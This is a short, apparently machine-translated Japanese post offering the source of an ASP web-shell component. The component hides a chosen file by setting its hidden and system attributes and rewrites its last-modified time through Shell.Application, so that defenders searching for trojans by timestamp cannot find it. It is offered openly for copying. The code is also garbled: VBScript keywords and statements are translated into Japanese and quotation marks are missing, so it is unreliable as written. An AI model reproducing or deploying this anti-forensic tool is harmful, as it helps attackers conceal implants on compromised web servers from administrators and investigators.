Aspshell はファイルの最終変更時刻を非表示にして変更するため、今後トロイの木馬を検索する場合は、時刻に基づいて単純に判断することはできません。次のようにコードをコピーします。
<%
'ファイルの最終変更時刻を非表示にして変更する aspshell
'原則: ファイルの属性を読み取り専用、非表示、システムなどに設定するなど、FSO を通じて変更できます。FSO の属性属性はファイルの属性を変更します。1 は読み取り専用、2 は非表示です。 4はシステムファイルです
'ファイルの最終変更時刻は、shell.application を通じてリセットできます。
'2009/02/24 作成者: skyfire
response.write <form method=post>
response.write パス: <input name=path value='&server.mappath(/)&' size='30'>(/ で終わる必要があります)<br />
response.write ファイル名: <input name=filename value='test.txt' size='30'><br />
response.write 変更時刻: <input name=time value='12/30/2099 12:30:30' size='30'><br />
response.write <input type=submit value=ファイルを変更して非表示にする>
応答.書き込み </form>
'送信されたパラメータを取得する
パス=リクエスト.フォーム(パス)を設定します
set fileName=request.Form(ファイル名)
set newTime=リクエスト.フォーム(時間)
if( (len(パス)>0)and(len(ファイル名)>0)and(len(newTime)>0) )then
'fso を通じてファイル属性を設定する
fso=Server.CreateObject(Scripting.FileSystemObject) を設定します。
ファイル=fso.getFile(パス&ファイル名)を設定します
file.attributes=2+4 'ファイル属性を非表示 + システムに設定します
'shell.Application を通じてファイルの最終変更時刻を変更します
シェル=Server.CreateObject(Shell.Application) を設定します。
app_path=shell.NameSpace(server.mappath(.)) を設定します。
app_file=app_path.ParseName(ファイル名) を設定します
app_file.Modifydate=newTime
終了する場合
%>